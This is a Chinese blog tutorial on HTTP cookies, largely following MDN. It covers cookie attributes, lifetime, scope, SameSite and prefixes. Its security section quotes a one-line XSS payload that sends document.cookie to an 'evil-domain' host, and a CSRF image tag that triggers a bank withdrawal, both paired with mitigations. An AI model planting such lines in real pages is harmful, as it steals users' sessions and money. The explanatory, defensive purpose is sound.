首先要了解到的是:像cookie、localStorage、书签等等浏览器提供的功能,数据都是存储在用户电脑本机中。

Cookie是什么?

HTTP Cookie是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于无状态的HTTP协议记录稳定的状态信息成为了可能。

cookie是服务端发送给用户浏览器保存到本地的一小块数据,创建之初的目的就是服务端写入到浏览器,后由浏览器发送请求时,携带到服务端进行验证。

cookie的设计之初,是由服务端通过Set-Cookie设置到浏览器中,后续由浏览器进行维护,既然是通过响应头中的Set-Cookie来设置,每条cookie的属性众多,所以设置的形式如下:

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; httpOnly;

Cookie 主要用于以下三个方面:

  • 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
  • 个性化设置(如用户自定义设置、主题等)
  • 浏览器行为跟踪(如跟踪分析用户行为等)

Cookie 曾一度用于客户端数据的存储,因当时并没有其它合适的存储办法而作为唯一的存储手段,但现在随着现代浏览器开始支持各种各样的存储方式,Cookie 渐渐被淘汰。由于服务器指定 Cookie 后,浏览器的每次请求都会携带 Cookie 数据,会带来额外的性能开销(尤其是在移动环境下)。新的浏览器API已经允许开发者直接将数据存储到本地,如使用 Web storage API (本地存储和会话存储)或 IndexedDB 。

cookie的缺点:http请求每次都会携带cookie,导致性能开销大;(跨域,cookie的域名 会影响是否携带cookie)

每条Cookie的属性值和意义

name和value

name由下划线和字母组成,区分大小写;value的类型是字符串。设置方式如下:

Set-Cookie: id=a3fWa;

通常情况下,设置每条cookie的value值size都比较小,大约十几个字节或几十个字节,超过100字节的比较少见。

expires/Max-Age

expires参数是 Netscape 烘焙的原始 cookie 的一部分。在 HTTP 版本 1.1 中,expires它已被弃用,取而代之的是使用max-age,无需指定日期,您只需说出 cookie 可以存活多长时间。通过设置其中任何一个,cookie 将持续存在直到过期,否则——如果你都没有设置——cookie 将持续到你关闭浏览器(“Session cookie”)。

设置cookie的过期时间,如果是Session,表明浏览器关闭后,该cookie失效;如果是具体的日期时间,表示到这个日期后,该cookie失效。如下:

expires和Max-Age的区别是什么呢?

  • Expires设置删除 cookie 的到期日期
  • Max-age设置删除 cookie 的时间(以秒为单位),即当cookie设置成功后,多少秒以后失效。
  • Internet Explorer(ie6、ie7 和 ie8)不支持“max-age”,而(大部分)所有浏览器都支 expires

那么我们又该怎么设置呢?

var d = new Date();
d.setTime(d.getTime() + 5*60*1000); // in milliseconds
document.cookie = 'foo=bar;path=/;expires='+d.toGMTString()+';';
document.cookie = 'foo=bar;path=/;max-age='+5*60+';';

注意日期时间的

const d = new Date()
d // Thu Apr 21 2022 00:16:35 GMT+0800 (中国标准时间)
d.toGMTString()
// 'Wed, 20 Apr 2022 16:16:35 GMT'
document.cookie="id=123; expires=Wed, 20 Apr 2022 16:30:35 GMT"

结果:

问:如果我在 cookie 中同时设置 expires 和 max-age 会怎样?
A. 每个支持的浏览器max-age都会忽略expires它的值,同样,Internet Explorer 也会忽略它max-age而只使用expires.

问:如果我只在 cookie 中设置 max-age 怎么办?
A. 每个浏览器——除了 Internet Explorer(8之前)——都能正确使用它。在 Internet Explorer 中,它将是一个会话 cookie(当您关闭浏览器时它将被删除)。

问:如果我只在 cookie 中设置了  expires 怎么办?
A. 每个浏览器都正确使用,只要记住将它设置为 GMT 时间,如上例所示。

问:你从哪里得到这些事实?
A. 我写了一个cookie 持久性测试页面,并在 IE6、IE7、IE8、FF2、FF3、Safari 4、Google Chrome 和 Opera 9.6 上进行了测试。如果您在任何其他浏览器上尝试或发现任何矛盾之处,请告诉我。

 如果设置的过期时间有问题,将是Session Cookie

httpOnly 和 secure

Domain和path

创建cookie

当服务器收到 HTTP 请求时,服务器可以在响应头里面添加一个 Set-Cookie 选项。浏览器收到响应后通常会保存下 Cookie,之后对该服务器每一次请求中都通过  Cookie 请求头部将 Cookie 信息发送给服务器。另外,Cookie 的过期时间、域、路径、有效期、适用站点都可以根据需要来指定。

Set-Cookie响应头部和Cookie请求头部

服务器使用 Set-Cookie 响应头部向用户代理(一般是浏览器)发送 Cookie信息。一个简单的 Cookie 可能像这样:

Set-Cookie: <cookie名>=<cookie值>

服务器通过该头部告知客户端保存 Cookie 信息。

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry[页面内容]

现在,对该服务器发起的每一次新请求,浏览器都会将之前保存的Cookie信息通过 Cookie 请求头部再发送给服务器。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

提示: 如何在以下几种服务端程序中设置 Set-Cookie 响应头信息 :

  • PHP
  • Node.JS
  • Python
  • Ruby on Rails

定义 Cookie 的生命周期

Cookie 的生命周期可以通过两种方式定义:

  • 会话期 Cookie 是最简单的 Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。会话期Cookie不需要指定过期时间(Expires)或者有效期(Max-Age)。需要注意的是,有些浏览器提供了会话恢复功能,这种情况下即使关闭了浏览器,会话期Cookie 也会被保留下来,就好像浏览器从来没有关闭一样,这会导致 Cookie 的生命周期无限期延长。
  • 持久性 Cookie 的生命周期取决于过期时间(Expires)或有效期(Max-Age)指定的一段时间。

例如:

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

提示:当Cookie的过期时间被设定时,设定的日期和时间只与客户端相关,而不是服务端。

如果您的站点对用户进行身份验证,则每当用户进行身份验证时,它都应重新生成并重新发送会话 Cookie,甚至是已经存在的会话 Cookie。此技术有助于防止会话固定攻击(session fixation attacks) (en-US),在该攻击中第三方可以重用用户的会话。

限制访问cookie

有两种方法可以确保 Cookie 被安全发送,并且不会被意外的参与者或脚本访问:Secure 属性和HttpOnly 属性。

标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端,因此可以预防 man-in-the-middle 攻击者的攻击。但即便设置了 Secure 标记,敏感信息也不应该通过 Cookie 传输,因为 Cookie 有其固有的不安全性,Secure 标记也无法提供确实的安全保障, 例如,可以访问客户端硬盘的人可以读取它。

从 Chrome 52 和 Firefox 52 开始,不安全的站点(http:)无法使用Cookie的 Secure 标记。

JavaScript Document.cookie API 无法访问带有 HttpOnly 属性的cookie;

此类 Cookie 仅作用于服务器。例如,持久化服务器端会话的 Cookie 不需要对 JavaScript 可用,而应具有 HttpOnly 属性。此预防措施有助于缓解跨站点脚本(XSS) (en-US)攻击。

示例:

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

cookie的作用域

Domain 和 Path 标识定义了Cookie的作用域:即允许 Cookie 应该发送给哪些URL。

Domain 属性

Domain 指定了哪些主机可以接受 Cookie。如果不指定,默认为 origin,不包含子域名。如果指定了Domain,则一般包含子域名。因此,指定 Domain 比省略它的限制要少。但是,当子域需要共享有关用户的信息时,这可能会有所帮助。

例如,如果设置 Domain=mozilla.org,则 Cookie 也包含在子域名中(如developer.mozilla.org)。

B站的cookie就是在bilibili.com下和message.bilibili.com下都有一样的cookie信息

当前大多数浏览器遵循 RFC 6265,设置 Domain 时 不需要加前导点。浏览器不遵循该规范,则需要加前导点,例如:Domain=.mozilla.org

chrome浏览器打开B站,B站的cookie的Domain都是带点的。

Path 属性

Path 标识指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符 %x2F ("/") 作为路径分隔符,子路径也会被匹配。

例如,设置 Path=/docs,则以下地址都会匹配:

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

SameSite attribute

SameSite Cookie 允许服务器要求某个 cookie 在跨站请求时不会被发送,(其中  Site (en-US) 由可注册域定义),从而可以阻止跨站请求伪造攻击(CSRF)。

SameSite cookies 是相对较新的一个字段,所有主流浏览器都已经得到支持。

下面是例子:

Set-Cookie: key=value; SameSite=Strict

SameSite 可以有下面三种值:

  • None浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写。
  • Strict浏览器将只在访问相同站点时发送 cookie。(在原有 Cookies 的限制条件上的加强,如上文 “Cookie 的作用域” 所述)
  • Lax与 Strict 类似,但用户从外部站点导航至URL时(例如通过链接)除外。 在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者 frames 的调用,但只有当用户从外部站点导航到URL时才会发送。如 link 链接

以前,如果 SameSite 属性没有设置,或者没有得到运行浏览器的支持,那么它的行为等同于 None,Cookies 会被包含在任何请求中——包括跨站请求。

大多数主流浏览器正在将 SameSite 的默认值迁移至 Lax。如果想要指定 Cookies 在同站、跨站请求都被发送,现在需要明确指定 SameSite 为 None。

Cookie prefixes

cookie 机制的使得服务器无法确认 cookie 是在安全来源上设置的,甚至无法确定 cookie 最初是在哪里设置的。

子域上的易受攻击的应用程序可以使用 Domain 属性设置 cookie,从而可以访问所有其他子域上的该 cookie。会话固定攻击中可能会滥用此机制。有关主要缓解方法,请参阅会话劫持( session fixation) (en-US)。

但是,作为深度防御措施,可以使用 cookie 前缀来断言有关 cookie 的特定事实。有两个前缀可用:

__Host-

如果 cookie 名称具有此前缀,则仅当它也用 Secure 属性标记,是从安全来源发送的,不包括 Domain 属性,并将 Path 属性设置为 / 时,它才在 Set-Cookie 标头中接受。这样,这些 cookie 可以被视为 "domain-locked”。

__Secure-

如果 cookie 名称具有此前缀,则仅当它也用 Secure 属性标记,是从安全来源发送的,它才在 Set-Cookie 标头中接受。该前缀限制要弱于 __Host- 前缀。

带有这些前缀点 Cookie, 如果不符合其限制的会被浏览器拒绝。请注意,这确保了如果子域要创建带有前缀的 cookie,那么它将要么局限于该子域,要么被完全忽略。由于应用服务器仅在确定用户是否已通过身份验证或 CSRF 令牌正确时才检查特定的 cookie 名称,因此,这有效地充当了针对会话劫持的防御措施。

在应用程序服务器上,Web 应用程序必须检查完整的 cookie 名称,包括前缀 —— 用户代理程序在从请求的 Cookie 标头中发送前缀之前,不会从 cookie 中剥离前缀。

有关 cookie 前缀和浏览器支持的当前状态的更多信息,请参阅 Prefixes section of the Set-Cookie reference article。

js通过document.cookie访问Cookie

通过 Document.cookie 属性可创建新的 Cookie,也可通过该属性访问非HttpOnly标记的Cookie。

document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"

通过 JavaScript 创建的 Cookie 不能包含 HttpOnly 标志。

请留意在安全章节提到的安全隐患问题,JavaScript 可以通过跨站脚本攻击(XSS)的方式来窃取 Cookie。

安全

信息被存在 Cookie 中时,需要明白 cookie 的值时可以被访问,且可以被终端用户所修改的。根据应用程序的不同,可能需要使用服务器查找的不透明标识符,或者研究诸如 JSON Web Tokens 之类的替代身份验证/机密机制。

当机器处于不安全环境时,切记不能通过 HTTP Cookie 存储、传输敏感信息。

缓解涉及Cookie的攻击的方法:

  • 使用 HttpOnly 属性可防止通过 JavaScript 访问 cookie 值。
  • 用于敏感信息(例如指示身份验证)的 Cookie 的生存期应较短,并且 SameSite 属性设置为Strict 或 Lax。(请参见上方的 SameSite Cookie。)在支持 SameSite 的浏览器中,这样做的作用是确保不与跨域请求一起发送身份验证 cookie,因此,这种请求实际上不会向应用服务器进行身份验证。

会话劫持和XSS

在 Web 应用中,Cookie 常用来标记用户或授权会话。因此,如果 Web 应用的 Cookie 被窃取,可能导致授权用户的会话受到攻击。常用的窃取 Cookie 的方法有利用社会工程学攻击和利用应用程序漏洞进行 XSS (en-US) 攻击。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly 类型的 Cookie 用于阻止了JavaScript 对其的访问性而能在一定程度上缓解此类攻击。

跨站请求伪造

维基百科已经给了一个比较好的 CSRF 例子。比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

当你打开含有了这张图片的 HTML 页面时,如果你之前已经登录了你的银行帐号并且 Cookie 仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。有一些方法可以阻止此类事件的发生:

  • 对用户输入进行过滤来阻止 XSS (en-US);
  • 任何敏感操作都需要确认;
  • 用于敏感信息的 Cookie 只能拥有较短的生命周期;
  • 更多方法可以查看OWASP CSRF prevention cheat sheet。

参考文章:

HTTP cookies - HTTP | MDNhttps://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies

HTTP Cookies: What's the difference between Max-age and Expires? - Peter Coleshttps://mrcoles.com/blog/cookies-max-age-vs-expires/

你真的了解Cookie吗?相关推荐

  1. 你真的了解 Cookie 和 Session 吗?

    我在做面试官的时候,曾经问过很多朋友这个问题: Cookie 和 Session 有什么区别呢?大部分的面试者应该都可以说上一两句,比如:什么是 Cookie?什么是 Session?两者的区别等. ...

  2. 真的了解Cookie吗 - Cookie详解

    前言 看了很多博客文章,对一些概念都一直模模糊糊 希望能够对JavaWeb的一些知识深刻了解一下 目录 HTTP的无状态 Cookie 2.1. Cookie API 2.2. Cookie的属性 2 ...

  3. 这真的是Cookie吗?

    会话技术 1. 会话:一次会话中包含多次请求和响应.* 一次会话:浏览器第一次给服务器资源发送请求,会话建立,直到有一方断开为止 2. 功能:在一次会话的范围内的多次请求间,共享数据 3. 方式:1. ...

  4. 你真的了解 Cookie 和 Session 吗

    我在做面试官的时候,曾经问过很多朋友这个问题: Cookie 和 Session 有什么区别呢?大部分的面试者应该都可以说上一两句,比如:什么是 Cookie?什么是 Session?两者的区别等. ...

  5. 亚马逊卖家账号多人免登录免二次验证,买家号Cookies批量登录,cookie管理,亚马逊Cookie账号怎么导入导出

    相关搜索: 浏览器限制了第三方cookie 浏览器禁用cookie什么意思 请保证浏览器没有禁用cookie 浏览器的cookies在哪里打开 cookie怎么获得 网页cookie 如何启用cook ...

  6. 增量式爬虫与分布式爬虫

    文章目录 1.redis的安装 2.基于crawlSpider的全站数据爬取 3.分布式 4.增量式 5.scrapy提高数据爬取效率 6.虚拟环境 1.redis的安装 1.将安装包解压到一个文件夹 ...

  7. scrapy two

    一.Scrapy的日志等级 - 在使用scrapy crawl spiderFileName运行程序时,在终端里打印输出的就是scrapy的日志信息. - 日志信息的种类: ERROR : 一般错误 ...

  8. scrapy框架的日志等级和请求传参

    Scrapy的日志等级 - 在使用scrapy crawl spiderFileName运行程序时,在终端里打印输出的就是scrapy的日志信息.- 日志信息的种类:ERROR : 一般错误WARNI ...

  9. 一个优秀的前端都应该阅读这些文章

    前言 的确,有些标题党了.起因是微信群里,有哥们问我,你是怎么学习前端的呢?能不能共享一下学习方法.一句话也挺触动我的,我真的不算是什么大佬,对于学习前端知识,我也不能说是掌握了什么捷径.当然,我个人 ...

最新文章

  1. 不上全站https的网站你们就等着被恶心死吧
  2. linux卸载欧朋浏览器,如何在Centos下安装opera浏览器
  3. Confluence 6 文档主题合并问答
  4. 曾经废寝忘食学到的技术,现在都没用了......
  5. 根据/proc/meminfo对空闲内存进行占用
  6. sklearn网格搜索GridSearchCV得到各个评价指标的均值与方差
  7. 【matlab】结构体
  8. 宝藏(NOIP2017
  9. 基于Python操作Excel实战案例
  10. 海思EC6108V9盒子DIY固件打包方法
  11. 测试睡眠的软件是,MOORING睡眠检测
  12. 前端基础之HTML特殊字符集和表情集
  13. 非360手柄玩游戏视角颠倒的解决方案
  14. kali安装火狐浏览器
  15. php无法运行,php不执行是什么原因造成的
  16. Asia/Shanghai与GMT-8的区别
  17. linux系统分区支持ntfs吗,如何使Linux支持NTFS分区
  18. Apple 设备尺寸
  19. Jenkins自动化部署(java+maven+tomcat项目)
  20. EF框架(一)搭建过程

热门文章

  1. 用 Splashtop Wired XDisplay HD 让 ipad做电脑扩展屏幕
  2. c语言消隐的作用是什么,【C语言程序设计最终版材料】
  3. C++ 模板特化与偏特化
  4. SAP中KKS5/KKS6事务计算投入产生差异逻辑
  5. Netty-Socketio API
  6. 解决 ERROR: Could not find a version that satisfies the requirement xxx 的问题
  7. 百亿规模API网关服务Shepherd的设计与实现
  8. 116.s1-黑名单设置的优化(封装BaseAdapter的方法)
  9. [个人笔记][遗传算法] 遗传算法的python实现
  10. 手机远程控制电脑的方法